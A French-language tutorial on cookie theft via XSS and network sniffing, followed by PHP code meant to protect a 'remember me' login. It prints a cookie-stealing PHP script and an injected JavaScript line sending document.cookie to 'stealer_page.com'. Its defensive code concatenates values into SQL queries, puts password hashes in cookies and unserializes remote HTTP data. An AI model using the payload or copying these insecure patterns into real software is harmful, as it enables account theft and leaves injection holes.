Stealing cookies, c'est-à-dire les données en danger
Malgré l'arrivée en douce des web SQL, cookies restent des éléments qui stockent des données souvent sensibles. D'où il est très important d'éviter qu'ils soient volés. En anglais on parle de l'attaque "stealing cookies" qui consiste à récupérer les informations liées au cookies de la victime et les exploiter.
Dans la première partie d'article on verra quels sont les moyens d'attaque. Ensuite on passera au chapitre consacrée à la protection. L'use case présenté concernera la sécurisation d'un système d'auto-connexion, communément connu sous anglicisme "remember me".
Comment voler un cookie ?
La méthode utilisée le plus souvent est liée aux failles XSS permettant d'inclure le code JavaScript sur la page. Cette solution nécessite beaucoup de travail en amont consistant à détecter les sites vulnérables. Une fois mise en place, en très peu de temps elle peut ramener une très grande quantité des informations.
Pour procéder à cette solution l'attaquant aura besoin de créer sur son serveur une page qui va récupérer les informations prévenants du site de la victime. Le script d'interception peut se présenter ainsi :
$cookie = urldecode($_GET['c']); file_put_contents(__DIR__.'/cookies.txt', $cookie);
Le code malicieux à injecter peut se résumer à cette ligne :
location.href = "http://stealer_page.com/get_cookie.php?c="+document.cookie;
Dans ce cas l'internaute sera redirigé vers la page stealer_page.com/get_cookie.php avec, comme paramètre, la chaîne de caractères contenant le cookie.
Une autre façon d'attaquer se base sur un sniffer (par exemple tcpdump, ngrep, wifizoo) qui permet d'espionner les paquets envoyés sur le réseau. Grâce à ces outils et une mauvaise sécurisation du réseau l'attaquant peut pratiquement sans aucun effort capter toutes les informations dont il a besoin.
Comment se protéger contre cookie stealing ?
Dans notre exemple l'application va utiliser le système d'auto-connexion pour gérer l'accès à des parties réservées aux utilisateurs connectés. Pour ce faire, elle émettra un cookie contenant le hash composé du mot de passe et du login :
setcookie("remMe", sha1($login)."&".sha1($password), 11111110);
Comment cette application pourrait se protéger contre le vol de ce cookie ? La première mesure à prendre est rajout d'une information propre à l'utilisateur connecté. Dans notre base de données on rajoutera une nouvelle table qui s’appellera user_info .
CREATE TABLE IF NOT EXISTS user_info ( cookie_id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, users_user_id INT(11) NOT NULL, uniq_ui VARCHAR(255) NOT NULL, ident_value VARCHAR(255) NOT NULL, INDEX(users_user_id) ) ENGINE=InnoDB; ALTER TABLE user_info ADD FOREIGN KEY (users_user_id) REFERENCES users (user_id) ON DELETE CASCADE ;
Maintenant on rajoutera dans notre application un bout de code qui insérera les informations dans la table user_info :
$value = sha1($login)."&".sha1($password); $browser = get_browser(); $signature = sha1($browser['platform'].$browser['beta'].$browser['browser']); mysql_query("INSERT INTO user_info (users_user_id, uniq_ui, ident_value) VALUES ($userId, '".$signature."', '".$value."')"); $mId = mysql_insert_id(); setcookie("remMe", $value, 11111110);
Maintenant, avant d'auto-identifier l'internaute, on vérifiera si la signature générée précédemment est égale aux informations sur le navigateur de l'utilisateur. Cette solution a cependant une limitation. Quand l'internaute va mettre à jour son navigateur, elle ne sera plus valide. Ensuite il est toujours possible que l'attaquant utilise le même environnement que la victime.
Un niveau supplémentaire de protection peut être la géo-validation. Grâce à elle on peut voir si l'internaute se connecte du même endroit. Si ce n'est pas le cas, il peut s'agir d'une utilisation frauduleuse de son cookie d'auto-authentification. Pour notre géo-localisation on utilisera le plugin mis à disposition sur le site http://www.geoplugin.com. Le code entier de protection peut se présenter comme ici :
// remember me action, file remMe.php $value = sha1($login)."&".sha1($password); $signature = makeSignature(); mysql_query("INSERT INTO user_info (users_user_id, uniq_ui, ident_value) VALUES ($userId, '".$signature."', '".$value."')"); $mId = mysql_insert_id(); setcookie("remMe", $value, 11111110); // remember me - auto login, file autoLogin.php // look for user - do not forget to salt the password in the cookie $stmt = $db->prepare("SELECT * FROM user_info WHERE ident_value = :cookieValue"); $stmt->bindParam(':cookieValue', $_COOKIE['remMe'], PDO::PARAM_STR, 255); $stmt->execute(); $result = $stmt->fetch(PDO::FETCH_ASSOC); if($result['uniq_ui'] == makeSignature()) { echo 'Auto authenticated correctly'; } else { // remove remMe cookie, logger the event and redirect to login page setcookie ("remMe", "", time() - 3600); Logger::log("Error in auto authentication occured."); Header("Location: login.php"); } // external function to make the signature, file makeSignature.php function makeSignature() { $userInfo = unserialize(file_get_contents('http://www.geoplugin.net/php.gp?ip='.$_SERVER['REMOTE_ADDR'])); $browser = get_browser(); return sha1($browser['platform'].$browser['beta'].$browser['browser'].$userInfo['geoplugin_latitude'].$userInfo['geoplugin_longitude']); }
Comme on a pu le constater, la protection d'un compte contre les cookies volés n'est pas une tâche simple. Surtout, elle n'est pas sûre à 100%. D'où l'importance de bien protéger l'application web contre les failles XSS qui pourraient rendre l'attaque stealing cookies plus qu'évident.